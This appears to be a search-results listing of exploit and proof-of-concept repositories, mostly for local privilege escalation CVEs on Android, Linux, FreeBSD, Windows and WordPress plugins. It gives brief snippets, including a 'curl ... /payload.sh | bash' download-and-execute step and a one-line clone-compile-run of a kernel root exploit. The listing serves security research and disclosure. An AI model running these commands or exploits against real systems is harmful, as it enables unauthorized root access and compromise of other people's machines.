322634 matches found
CVE-2026-43499-aristotle
CVE-2026-43499 ā aristotle au/KDDI Xiaomi XIG04 Local privilege escalation tmp-root for the au/KDDI Xiaomi "aristotle" XIG04 on Android 12 , via CVE-2026-43499. It is a device-owner rooting primitive: it roots your own phone e.g. to re-enable ADB when developer options are unreachable. This is an...
CVE-2025-27581
CVE-2025-27581 Exploit scripts for CVE-2025-27581 BasicExploit.sh This just points the exploit to a file of your choice, it should set your target file to 0666 permissions but it can fail on certain files depending on applocker policies or selinux. CreateFakeRoot.sh This points the exploit to...
megaquagga-pentest-report
megaquagga-pentest-report Black box penetration test ā WordPress exploitation, privilege escalation via CVE-2022-0847...
CVE-2024-32019-poc
CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: root@kitploit: bash exploit.sh In target machine run in a writable directory: root@kitploit: curl http://:8000/payload.sh | bash It will automatically...
CVE-2024-50404
CVE-2024-50404 https://www.qnap.com/en/security-advisory/qsa-24-48 https://www.cve.org/CVERecord?id=2024-50404 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N 6.8 "A link following vulnerability has been reported to affect Qsync Central. If exploited, the vulnerability could allow...
CVE-2024-27674
CVE-2024-27674 Macro Expert icacls "C:\Program Files x86\GrassSoft\Macro Expert" C:\Program Files x86\GrassSoft\Macro Expert BUILTIN\Users:OICIM NT SERVICE\TrustedInstaller:IF NT SERVICE\TrustedInstaller:ICIIOF NT AUTHORITY\SYSTEM:IF NT AUTHORITY\SYSTEM:IOICIIOF BUILTIN\Administrators:IF...
FreeBSD-9.0-9.1-Privilege-Escalation
FreeBSD-9.0-9.1 - Privilege-Escalation CVE-2013-2171 By [email protected] How to Exploit! 1Ā° Check the kernel version root@kitploit: uname -a FreeBSD freebsd 9.0-RELEASE FreeBSD 9.0-RELEASE 0: Tue Jan 3 07:46:30 UTC 2012 2Ā° Transfer this file to target root@kitploit: Attacker machine - pytho...
cve-2021-4034
CVE-2021-4034 - PwnKit Polkit Local Privilege Escalation Overview This repository contains a Proof of Concept for CVE-2021-4034 , also known as PwnKit. It was developed for personal training and educational purposes only. Use only in environments you own or are explicitly authorized to test...
Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284
Remote root@kitploit: git clone https://github.com/6abc/Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284.git && cd Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284 && gcc -O0 -Wall -o exp exp.c -lutil && ./exp root@kitploit: git clone...
Shocker-TJNULL-OSCP-
HackTheBox: Shocker Writeup A structured and professional walkthrough showcasing the identification and manual exploitation of the critical Shellshock vulnerability, followed by local privilege escalation via misconfigured sudo rights on a Linux target. Technical Overview Target OS: Linux IP...
CVE-2024-55968
CVE-2024-55968 POC for DTEX LPE CVE-2024-55968 Affected product: DEC-M DTEX Forwarder version 6.1.1. DTEX is a unified insider risk management platform. Affected component: DEC-M EventReportingService XPC Helper Attack vector: The DTEX Event Reporting Service was found with a privileged XPC helpe...
cve-2026-43499-firetv-sheldonp-writeup
CVE-2026-43499 on Amazon Fire TV Stick 3rd Gen sheldonp Chaining a Linux kernel privilege escalation into a preloader downgrade and bootloader unlock. Overview This repository documents my authorized reproduction of the CVE-2026-43499 exploitation chain on an Amazon Fire TV Stick 3rd Gen sheldonp...
CVE-2023-22809-Exploiter
CVE-2023-22809 Exploiter Scripts Disclaimer This script is provided for educational purposes only. The author is not responsible for any misuse or unintended consequences resulting from its use. Always follow ethical guidelines and obtain proper authorization before testing any security tools or...
CVE-2023-50780
CVE-2023-50780: Dangerous MBeans Accessible via Jolokia API in Apache ActiveMQ Artemis By listing and inspecting the MBeans exposed by the Jolokia API at http://127.0.0.1:8161/console/jolokia the following attack vectors have been identified: Arbitrary File Write using Log4J indirectly resulting ...
CVE-2024-5324
CVE-2024-5324 Login/Signup Popup Inline Form + Woocommerce 2.7.1 - 2.7.2 - Missing Authorization to Arbitrary Options Update Description: The Login/Signup Popup Inline Form + Woocommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on t...
CVE-2026-27542-CVE-2026-27540-
š“ Vulnerability Overview CVE-2026-27542 ā Unauthenticated Privilege Escalation Description: The WooCommerce Wholesale Lead Capture plugin for WordPress is vulnerable to Unauthenticated Privilege Escalation in all known affected versions. The vulnerability exists within the wwlccreateuser AJAX...
CVE-2021-4034-POC
CREDITS VULNERABILITY AUTHOR: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 Reference https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c...
PyInstallerPrivEsc
PyInstallerPrivEsc Exploit for PyInstaller CVE-2019-16784 Article coming soon...
CVE-2021-3438
CVE-2021-3438 A potential buffer overflow in the software drivers for certain HP LaserJet products and Samsung product printers could lead to an escalation of privilege...
CVE-2009-0229-PoC
CVE-2009-0229-PoC PoC for CVE-2009-0229 "Print Spooler Read File Vulnerability" LPE AFR related to CVE-2020-1048 Details Author: Andrei Costin [email protected] https://twitter.com/costinandrei/ PoC date: 2010-xx-xx Release date: 2020-05-14 reminded/inspired by CVE-2020-1048 - yes, I am too...